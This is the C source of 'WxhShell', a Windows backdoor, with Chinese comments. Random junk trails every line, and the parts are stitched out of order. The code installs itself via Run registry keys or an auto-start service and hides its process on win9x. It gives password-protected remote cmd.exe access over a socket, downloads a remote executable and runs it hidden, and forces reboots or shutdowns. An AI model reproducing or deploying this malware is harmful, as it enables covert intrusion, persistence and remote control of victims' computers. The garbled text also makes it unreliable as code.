    break; F`,XB[}2  
    } 'c[4-m3bg  
  // 关机 l +RT>jAmK  
  case 'd': { J<dr x_gc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -+4:} sD  
    if(Boot(SHUTDOWN)) ($:s}_<>s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d K|6p_  
    else { ") kE 1D%  
    closesocket(wsh); clK3kBh~&  
    ExitThread(0); C!xqp   
    } Z#.J>_u )  
    break; D%k%kg0,  
    } $/ ;:Xb=q  
  // 获取shell g[fCvWm#d  
  case 's': { [.;$6C/?  
    CmdShell(wsh); FEgM4m.(G<  
    closesocket(wsh); Ho[Kxe[c  
    ExitThread(0); +^$FA4<~  
    break; g(xuA^~J  
  } w J FEua  
  // 退出 cy|]}n85  
  case 'x': { Nzj7e 1=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [L h<k+  
    CloseIt(wsh); @dE|UZ=(  
    break; 9d{iq"*R  
    } FyYD7E  
  // 离开 {>[,i`)  
  case 'q': { :9H=D^J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3~H_UGw  
    closesocket(wsh); G]5m@;~l5  
    WSACleanup(); b['Jr% "O  
    exit(1); TV)bX  
    break; HV'xDy[)  
        } $I&DAGV0  
  } *FyBkG'  
  } i)fAm$8# G  
'6i"pJ0%  
  // 提示信息 7z!|sPW](b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y$SZqW0!/  
} ecIxiv\  
  } PY=(|2tb4  
=YlsJ={h  
  return; #JVw`=P  
} fiA_6  
BeZr5I"`}  
// shell模块句柄 mk?&`_X1  
int CmdShell(SOCKET sock) x5\C MWW  
{ )G6{JL-I  
STARTUPINFO si; UD1R _bL}  
ZeroMemory(&si,sizeof(si)); ~oO>6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xaQ]Vjw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eqD|3YX  
PROCESS_INFORMATION ProcessInfo; -g8G47piX:  
char cmdline[]="cmd"; K!^x+B|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $%!'c# F  
  return 0; zr%2oFeX,  
} In)8AK(Hw  
} MBxfZ4I  
// 自身启动模式 FbB^$ ]*  
int StartFromService(void) h-u63b1"?  
{  m~"<k d  
typedef struct cLl=?^DB  
{ {HPKp&kl  
  DWORD ExitStatus; Ft)7Wx" S  
  DWORD PebBaseAddress; l<I.;FN^9@  
  DWORD AffinityMask; Gs]m; "o|  
  DWORD BasePriority; Xy[O  
  ULONG UniqueProcessId; ) jBPt&  
  ULONG InheritedFromUniqueProcessId; K?0f)@\nx  
}   PROCESS_BASIC_INFORMATION; "<6X=|C  
@q0\oG4L  
PROCNTQSIP NtQueryInformationProcess; p^PAbCP'|3  
@{16j# 'R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LAqmM3{fA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z,AF^,H[  
X5i?B b.  
  HANDLE             hProcess; Gkci_A*  
  PROCESS_BASIC_INFORMATION pbi; sd|5oz )  
5tUp[/]pl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h^ wu8E   
  if(NULL == hInst ) return 0; >jxo,xz  
|r2 U4 ^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aOZSX3;wg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {RFpTh7f:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %5<uQc9  
AA[(rw  
  if (!NtQueryInformationProcess) return 0; gZbC[L  
ktX\{g!U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I6?n>  
  if(!hProcess) return 0; LbX>@2(&  
R7%' v Zk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7=yV8.cD  
Zd$a}~4~  
  CloseHandle(hProcess); ,h1 z8.wD|  
feg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )/VhkSXbG!  
if(hProcess==NULL) return 0; 67Z@Hg  
5~GHAi  
HMODULE hMod; #6O<!{PH6  
char procName[255]; k=D_9_  
unsigned long cbNeeded; &&Ruy(&]I  
.}'49=c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t"[ xx_i  
[Q(FBoI|  
  CloseHandle(hProcess); 49S*f  
m$b5Vqq  
if(strstr(procName,"services")) return 1; // 以服务启动 8Mx+tA  
z0=(l?)#  
  return 0; // 注册表启动 ^2C)Wk$  
} -1'O  
xZ'-G6O "~  
// 主模块 y(gL.08<  
int StartWxhshell(LPSTR lpCmdLine) fyYHwG  
{ ~*aPeJ  
  SOCKET wsl; !EO*xxQ  
BOOL val=TRUE; f;os\8JdM  
  int port=0; s|*0cK!K^  
  struct sockaddr_in door; )IN!CmpN  
&/XRiK1"0  
  if(wscfg.ws_autoins) Install(); GQ=Zp3[  
Cq mtO?vne  
port=atoi(lpCmdLine); 'T G43^  
(I(?oCQ  
if(port<=0) port=wscfg.ws_port; 6&jW.G8/  
y.h2hv]Bc  
  WSADATA data; 7.V'T=@x3)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  6/u]r  
)-yJKmV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5Ii`|?vg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1%Yd] 1c(  
  door.sin_family = AF_INET; bYs K|n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b,vSE,&xP  
  door.sin_port = htons(port); GWb=X cx  
6T*MKu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^y" #2Ov  
closesocket(wsl); &Pk #v  
return 1; uY6]rt_#a  
} 25e*W>SLw  
OH.lAF4E(  
  if(listen(wsl,2) == INVALID_SOCKET) { 'OrGt_U  
closesocket(wsl); !e>+ O^  
return 1; )Z4ilpU,  
} r 7 dwj  
  Wxhshell(wsl); z4CqHS~%  
  WSACleanup(); 4oxAC; L  
&6 ymGo  
return 0; n1yIQ8F  
Ep>} S  
} \#)|6w-  
0v7#vZ  
// 以NT服务方式启动 `<Ry_}V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EJAk'L+nuH  
{ S F:>dneB  
DWORD   status = 0; il8n K  
  DWORD   specificError = 0xfffffff; @4)NxdOE  
>* Ag0.Az  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !U 6q;' )-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eyM<#3\\S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /x2-$a:<  
  serviceStatus.dwWin32ExitCode     = 0; =&%}p[ 3g  
  serviceStatus.dwServiceSpecificExitCode = 0; V47z;oMXct  
  serviceStatus.dwCheckPoint       = 0; \mK;BWg)  
  serviceStatus.dwWaitHint       = 0; aMU0BS"   
*'?aXS -'r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h7 r *5E  
  if (hServiceStatusHandle==0) return; E`0mn7.t  
r6WSX;K  
status = GetLastError(); B3AWJ1o  
  if (status!=NO_ERROR) ;?{[vLHDL  
{ =6.4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /)+V(Jlu  
    serviceStatus.dwCheckPoint       = 0; T`ofj7$:  
    serviceStatus.dwWaitHint       = 0; G 6r2 "  
    serviceStatus.dwWin32ExitCode     = status; j\hI, mc  
    serviceStatus.dwServiceSpecificExitCode = specificError; d76nyQKK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a:v5(@8  
    return; `jHbA#sO  
  } }}?,({T|n  
$U/|+*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3Q0g4#eP  
  serviceStatus.dwCheckPoint       = 0; \\R$C  
  serviceStatus.dwWaitHint       = 0; p<Oz"6_/~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ax)>rP,V  
} Q9G\T:^ury  
=Ch^;Wyt  
// 处理NT服务事件,比如:启动、停止 |Eyn0\OA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #fGI#]SG?  
{ {s7 3(B"  
switch(fdwControl) `erKHZ]S  
{ C@o8C%o  
case SERVICE_CONTROL_STOP: #Sc9&DfX  
  serviceStatus.dwWin32ExitCode = 0;  i)!2DXn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z=FOymv C  
  serviceStatus.dwCheckPoint   = 0; mb\"qD5  
  serviceStatus.dwWaitHint     = 0; Svicw`uX0  
  { luWr.<1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); urbSprdF  
  } TCWt3\  
  return; <5 )F9.$  
case SERVICE_CONTROL_PAUSE: {D$5M/$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /:Q  
  break; ;:PxWm|_  
case SERVICE_CONTROL_CONTINUE: Of}dsav   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N^Hj%5  
  break; P Dgd'y  
case SERVICE_CONTROL_INTERROGATE: '.B5CQ  
  break; \{EYkk0]  
}; xqQLri}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iJU=98q  
} f2LiCe.?  
koojF|H>  
// 标准应用程序主函数 ^TZ`1:oL#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;Yve m  
{ ,f@\Fs~n  
xNd p]u  
// 获取操作系统版本 Ur9L8EdC  
OsIsNt=GetOsVer(); 8=MNzcA }  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PjG^L FX  
VPr`[XPXb  
  // 从命令行安装 11iV{ h  
  if(strpbrk(lpCmdLine,"iI")) Install(); elGwS\sw  
mHyT1e  
  // 下载执行文件 >bFrJz}  
if(wscfg.ws_downexe) { 9;7|MPbR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (V x2*Aw]  
  WinExec(wscfg.ws_filenam,SW_HIDE); JHXtKgFX  
} Gk']Ma2J}  
"wR1=&gk  
if(!OsIsNt) { yz<$?Gblz  
// 如果时win9x,隐藏进程并且设置为注册表启动 =5;tB  
HideProc(); 5AbY 59  
StartWxhshell(lpCmdLine); XiM d|D  
} XW.k%H4@  
else vR7S !  
  if(StartFromService()) ^M)+2@6  
  // 以服务方式启动 Ya `$.D  
  StartServiceCtrlDispatcher(DispatchTable); m:D0O]2  
else nv <t$r  
  // 普通方式启动 A2.GNk  
  StartWxhshell(lpCmdLine); v[<x>?i D_  
w9w=2 *  
return 0; nB;[;dC z  
} &+]-e;[  
/ # d^  
9$#@Oe8*  
]++,7Z\AU  
=========================================== w m|WER*.  
YTD&swk  
TD sjNFe3  
[XhG7Ly  
RT. %\)))  
V!Pe%.>  
" @u @,Edh  
,4j^ lgJ  
#include <stdio.h> gHtflS  
#include <string.h> hTQ8y10a  
#include <windows.h> /Un\P   
#include <winsock2.h> t52KF#+>  
#include <winsvc.h> -EJj j {  
#include <urlmon.h> .lAPlJOO  
;efF]")  
#pragma comment (lib, "Ws2_32.lib") xpJ=yxO  
#pragma comment (lib, "urlmon.lib") m al?3*x/  
I|l5e2j  
#define MAX_USER   100 // 最大客户端连接数 C]Q`!e  
#define BUF_SOCK   200 // sock buffer t$&'mJ_-w  
#define KEY_BUFF   255 // 输入 buffer ]$BC f4:  
:*ZijN*{)$  
#define REBOOT     0   // 重启 VHi'~B#'*  
#define SHUTDOWN   1   // 关机 <@$+uZt+  
S.Q:O{]  
#define DEF_PORT   5000 // 监听端口 =q(?ALGc  
. H}R}^  
#define REG_LEN     16   // 注册表键长度 PpLiH9}  
#define SVC_LEN     80   // NT服务名长度 =$y;0]7Lwi  
 Q@!XVQx4  
// 从dll定义API dT{GB!jz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4F"%X &$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C/4r3A/u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KF6N P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]9-iEQ  
Rk-G| 52g  
// wxhshell配置信息 zE Ly1v\"  
struct WSCFG { A34O(fE  
  int ws_port;         // 监听端口 !sp`oM  
  char ws_passstr[REG_LEN]; // 口令 q"5\bh1"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 82 dmlPwJC  
  char ws_regname[REG_LEN]; // 注册表键名 :NL[NbQYt  
  char ws_svcname[REG_LEN]; // 服务名 J|F!$m{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <KJ|U0/jGd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^u2x26].  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CTe!jMZ=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IML.6<,(Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CkRilS<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2tg07  
QnJLTBv  
}; d)3jkHYEjj  
9^8_^F  
// default Wxhshell configuration C[';B)a  
struct WSCFG wscfg={DEF_PORT, _f~$iY  
    "xuhuanlingzhe", e=s({V  
    1, F|G v  
    "Wxhshell",  9I:3  
    "Wxhshell", 3mHP=)  
            "WxhShell Service", G?,"AA;  
    "Wrsky Windows CmdShell Service", !*3]PZ25a(  
    "Please Input Your Password: ", AV4fN@BX  
  1, XSCcumde!  
  "http://www.wrsky.com/wxhshell.exe", ,|Gjr T{vf  
  "Wxhshell.exe" 4s9.")G  
    }; f1S% p  
HRyhq ;C  
// 消息定义模块 v$xurj:v#i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YCVT0d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <(_Tanx9Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iUFG!,+d  
char *msg_ws_ext="\n\rExit."; x:Q$1&3N  
char *msg_ws_end="\n\rQuit."; xSm~V3b c  
char *msg_ws_boot="\n\rReboot..."; &JYkh >  
char *msg_ws_poff="\n\rShutdown..."; /6F\]JwU  
char *msg_ws_down="\n\rSave to "; 7[mP@ {  
V(XZ7<& {  
char *msg_ws_err="\n\rErr!"; ^G 'n z  
char *msg_ws_ok="\n\rOK!"; ]0O3kiVQ  
,xR u74  
char ExeFile[MAX_PATH]; ~Q#! oh'i  
int nUser = 0; E,dUO;  
HANDLE handles[MAX_USER]; R! n7g8I%  
int OsIsNt; 0176  
t%O)Ti  
SERVICE_STATUS       serviceStatus; jo1z#!|Yw}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UCup {pDp  
\D};0#G0&  
// 函数声明 ei>iXDt  
int Install(void); zC*dJXt@  
int Uninstall(void); tqCwbi  
int DownloadFile(char *sURL, SOCKET wsh); h4=mGJpm  
int Boot(int flag); ,)N/2M\B-  
void HideProc(void); itE/QB  
int GetOsVer(void); &EYoviFp  
int Wxhshell(SOCKET wsl); >j7]gi(  
void TalkWithClient(void *cs); t3g+>U_m  
int CmdShell(SOCKET sock); .beqfcj"  
int StartFromService(void); Q"uK6ANp'  
int StartWxhshell(LPSTR lpCmdLine); L7nG5i  
1M 6^Brx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E!.&y4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EiaP1o  
, Y,^vzX6  
// 数据结构和表定义 IlwHHt;njp  
SERVICE_TABLE_ENTRY DispatchTable[] = <o[3*59  
{ H|7XfM  
{wscfg.ws_svcname, NTServiceMain}, *_d N9  
{NULL, NULL} *wsZ aQ  
}; 4<vi@,s  
*>`6{0, 9  
// 自我安装 {; th~[  
int Install(void) z,hBtq:-$  
{ ir>S\VT4  
  char svExeFile[MAX_PATH]; \rATmjsKzS  
  HKEY key; "'GhE+>Z  
  strcpy(svExeFile,ExeFile); G;J)[y  
rC]k'p2x  
// 如果是win9x系统,修改注册表设为自启动 QhLgFu  
if(!OsIsNt) { 19-V;F@;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m>F:dI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QN?EI: q=  
  RegCloseKey(key); j:>0XP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4.uaWM)2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Agyp89}Q  
  RegCloseKey(key); %C@p4  
  return 0; p@Cas  
    } KT*>OYI  
  } eE=2~ ylU  
} FzP1b_i  
else { @/ nGc9h  
: 2$*'{mM  
// 如果是NT以上系统,安装为系统服务 eX lJ=S}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *W^a<Zm8>  
if (schSCManager!=0) g HkHAOe/  
{ nz'6^D7`r  
  SC_HANDLE schService = CreateService G<$8g-O;D  
  ( m2YsE  j7  
  schSCManager, U* c'xoP  
  wscfg.ws_svcname, Fq!_VF^r  
  wscfg.ws_svcdisp, ,Vo[mB  
  SERVICE_ALL_ACCESS, H3`.Y$z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~'0ZW<X.  
  SERVICE_AUTO_START, )n 1[#x^I  
  SERVICE_ERROR_NORMAL, *9w-eK1{  
  svExeFile, r{84Y!k~*  
  NULL, q_ryW$/_  
  NULL, $cc]Av4c2  
  NULL, U 8p %MFD  
  NULL, 6$f\#TR  
  NULL 80 T2EN:$  
  ); lUA-ug! ^  
  if (schService!=0) WC37=8mA  
  { <%`Rku  
  CloseServiceHandle(schService); :<k (y?GB  
  CloseServiceHandle(schSCManager); nHH FHnFf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9$U4x|n  
  strcat(svExeFile,wscfg.ws_svcname); >}Bcv%zZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y)$%-'=b+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q$ Dx:  
  RegCloseKey(key); E/wxX#]\  
  return 0; ^W9O_5\g4a  
    } % ;R&cSZ  
  } V82I%gPF  
  CloseServiceHandle(schSCManager); R".$x{{  
} =$L+J O  
} cDzb}W*UM  
}<@-=  
return 1; *}';q`u }  
} z*q+5p@~  
C2\WvE%!  
// 自我卸载 sKsMF:|OT  
int Uninstall(void) @iXBy:@  
{ } XhL`%  
  HKEY key; ?*yB&(a:8  
aI ;$N|]u  
if(!OsIsNt) { ^,t@HN;gA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GUqG1u z9  
  RegDeleteValue(key,wscfg.ws_regname); Rg\4#9S JF  
  RegCloseKey(key); W,[QK~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *)`PY4zF  
  RegDeleteValue(key,wscfg.ws_regname); q# Q%p+  
  RegCloseKey(key); K/*"U*9Kv  
  return 0; ]4V1]  
  } ,b IJW]h0  
} `?WN*__["  
} SdYb T)y  
else { /'E[03I~  
=<m!% /I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QxxPImubB  
if (schSCManager!=0) ?6nB=B)/  
{ nnN$?'%~6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K|$ c#X  
  if (schService!=0) Njr;Wa.r+  
  { <?}pCX/O  
  if(DeleteService(schService)!=0) { +:=FcsY  
  CloseServiceHandle(schService); a~a:mM > p  
  CloseServiceHandle(schSCManager); &Xh>w(u  
  return 0; 2 'D,1F  
  } |r,})o>  
  CloseServiceHandle(schService); x{zZ%_F  
  } 9[&ByEAK  
  CloseServiceHandle(schSCManager); vM!2?8bEFd  
} XzX2V">(%  
} 5#N<~  
+>;Ux1'@  
return 1; |e+3d3T35  
} !L q'o ?  
"\`Fu  
// 从指定url下载文件 c}|.U  
int DownloadFile(char *sURL, SOCKET wsh) DTM(SN8R+n  
{ Lk@+iHf  
  HRESULT hr; frW\!r{LT  
char seps[]= "/"; ts@Z5Yw*!  
char *token; 83 R_8  
char *file; ~<O.Gu&"R  
char myURL[MAX_PATH]; m.`I}  
char myFILE[MAX_PATH]; Jr;w>8B),  
)\VuN-d  
strcpy(myURL,sURL); sJ^Ff  
  token=strtok(myURL,seps); x=L"qC9f/  
  while(token!=NULL) /wJ4hHY  
  { $ BgaLJs/O  
    file=token; 3)LS#=  
  token=strtok(NULL,seps); a9.255  
  } XOQ0(e6  
f(eXny@Y  
GetCurrentDirectory(MAX_PATH,myFILE); rP2h9Cb  
strcat(myFILE, "\\"); X[H.t$w5A  
strcat(myFILE, file); 7-n HPDp'  
  send(wsh,myFILE,strlen(myFILE),0); 3`vKEThY)  
send(wsh,"...",3,0); );i J9+ V}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5pDE!6gQ  
  if(hr==S_OK) DO-M0L  
return 0; ?E V^H-rr  
else Lb<IEy77\  
return 1; x|Pz24yP9  
IemhHf ^l  
} n7~4*B  
B[EOz\?=m  
// 系统电源模块 ;r~1TUKb  
int Boot(int flag) Rx"+i0  
{ $6J22m!S4n  
  HANDLE hToken; lxgfi@@+h  
  TOKEN_PRIVILEGES tkp; | Z2_W/  
`8O Bw  
  if(OsIsNt) { [A {o"zY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rs S:I6L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oQV3  
    tkp.PrivilegeCount = 1; ,30lu a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vO~w~u5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rr CG(Bh  
if(flag==REBOOT) { 3fpaTue|x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]+a~/  
  return 0; I3r")}P  
} qUmSB"#Z  
else { ~xc/Dsb$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &[j9Up'   
  return 0; ')yYpWO  
} xr@;w8X`^  
  } V_m!<s r(  
  else { 60n P'xfR  
if(flag==REBOOT) { Opg_-Bf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >eo[)Y  
  return 0; ||TZ[l  
} ):Z #!O<  
else { dZf1iFCP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bc~WJ+  
  return 0; pV (Mh[ }P  
} /U!B2%vq_  
} +aM[!pW(e  
_=`DzudE  
return 1; W.cc!8  
} $8&Y(`  
_%Xp2`m  
// win9x进程隐藏模块 -zJ V(`  
void HideProc(void) *q,nALs  
{ g@s`PBF7`  
L>g6 9D !  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X )Tyxppf'  
  if ( hKernel != NULL ) aJjUy%  
  { /=AFle2(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3)o>sp)Ji$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [.xc`CF  
    FreeLibrary(hKernel); 3]lq#p:  
  } RdyKd_0`Q  
0F_hXy@K  
return; 4ME$Z>eN  
} fH_l2b[-3@  
;r6YIS4@  
// 获取操作系统版本 q27q/q8  
int GetOsVer(void) `EvO^L   
{ LD NdHG6  
  OSVERSIONINFO winfo; eAI|zk6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N TDmOS\,  
  GetVersionEx(&winfo); pp1Kor  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sUmpf4/  
  return 1; ,?qJAV~>  
  else 0[<' ygu  
  return 0; cV@^<  
} rr(kFQ"  
<vV"abk  
// 客户端句柄模块 >FHx],  
int Wxhshell(SOCKET wsl) ZlE=P4`X:  
{ :8}Qt^p  
  SOCKET wsh; E>*Wu<<  
  struct sockaddr_in client; 1R*;U8?  
  DWORD myID; R=, pv'  
xW9R -J \W  
  while(nUser<MAX_USER) +/[Rvh5WZ  
{ 5W|wDy  
  int nSize=sizeof(client); FYE(lEjxi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (6mw@gzr  
  if(wsh==INVALID_SOCKET) return 1; ThW9=kzQW  
mAW(j@5sp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lf KV%  
if(handles[nUser]==0) XVfUr\=,T  
  closesocket(wsh); 9 ;uw3vI%  
else "%dENK  
  nUser++; @gf <%>  
  } Gl3g.`X{$@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j"TEp$x  
CKFr9bT{  
  return 0; sh`3${  
} |Thm5,ao  
. uGne  
// 关闭 socket #hs&)6S f  
void CloseIt(SOCKET wsh) Qh Rj*,  
{ <6hs<qXqi  
closesocket(wsh); nTs\zikP  
nUser--; r oG<2i F  
ExitThread(0); Ge?DD,a c  
} )g $T%  
XH*(zTd(?  
// 客户端请求句柄 R8!~>$#C6)  
void TalkWithClient(void *cs) edpRx"_  
{ 3xP<J)S0  
#n.v#FyNx  
  SOCKET wsh=(SOCKET)cs; IQ~Anp^R  
  char pwd[SVC_LEN]; fy$CtQM  
  char cmd[KEY_BUFF]; GyxLzrp  
char chr[1]; D,FgX/&i/  
int i,j; (;9fkqm%m  
QKvaTy#  
  while (nUser < MAX_USER) { uX{g4#eG  
TPkP5w  
if(wscfg.ws_passstr) { A~k: m0MX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7TypzgXNe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  vmfFR  
  //ZeroMemory(pwd,KEY_BUFF); [4B (rra  
      i=0; vfhoN]v  
  while(i<SVC_LEN) { $/JXI?K  
P@5-3]m=  
  // 设置超时 r]QeP{  
  fd_set FdRead; F/j ; q  
  struct timeval TimeOut; qQo*:3/];  
  FD_ZERO(&FdRead); yU7XX+cB7  
  FD_SET(wsh,&FdRead); ND=JpVkvZ?  
  TimeOut.tv_sec=8; F &5iA\  
  TimeOut.tv_usec=0; j1+I_   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XS^du{ai  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V8o, e  
{IBbN05 ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5RO6YxQ  
  pwd=chr[0]; ).u>%4=6  
  if(chr[0]==0xd || chr[0]==0xa) { /Hm/%os  
  pwd=0; GvA4.s,  
  break; 9aIv|cS?  
  } Q($@{[lT  
  i++; 3]'h(C  
    } )NZ&m$I|-  
0N4ZV}s,d  
  // 如果是非法用户,关闭 socket 7hMh%d0d(_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _:Y| a>  
} !&@t  
#jj (S\WY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [-e$4^+9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ev/)#i#s{  
Dq!YB[Z$:  
while(1) { UN;U+5,t  
$SFreyI;Uf  
  ZeroMemory(cmd,KEY_BUFF); ]eFNR1<OP  
km lb,P  
      // 自动支持客户端 telnet标准   h.- o$+Sa  
  j=0; =bvLMpa  
  while(j<KEY_BUFF) { qf [J-"o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vt(n: Xk  
  cmd[j]=chr[0]; PT&qys 2k  
  if(chr[0]==0xa || chr[0]==0xd) { Sw[*1C8  
  cmd[j]=0; +Bt%W%_X  
  break; Sv>CVp*  
  } PIQd=%?'  
  j++; qla=LS\-A+  
    } b1=! "Y@  
E J6|y'  
  // 下载文件 SwrzW'%A  
  if(strstr(cmd,"http://")) { B*QLKO:)i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o(3OChH  
  if(DownloadFile(cmd,wsh)) LT,zk)5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); { M[iYFg=  
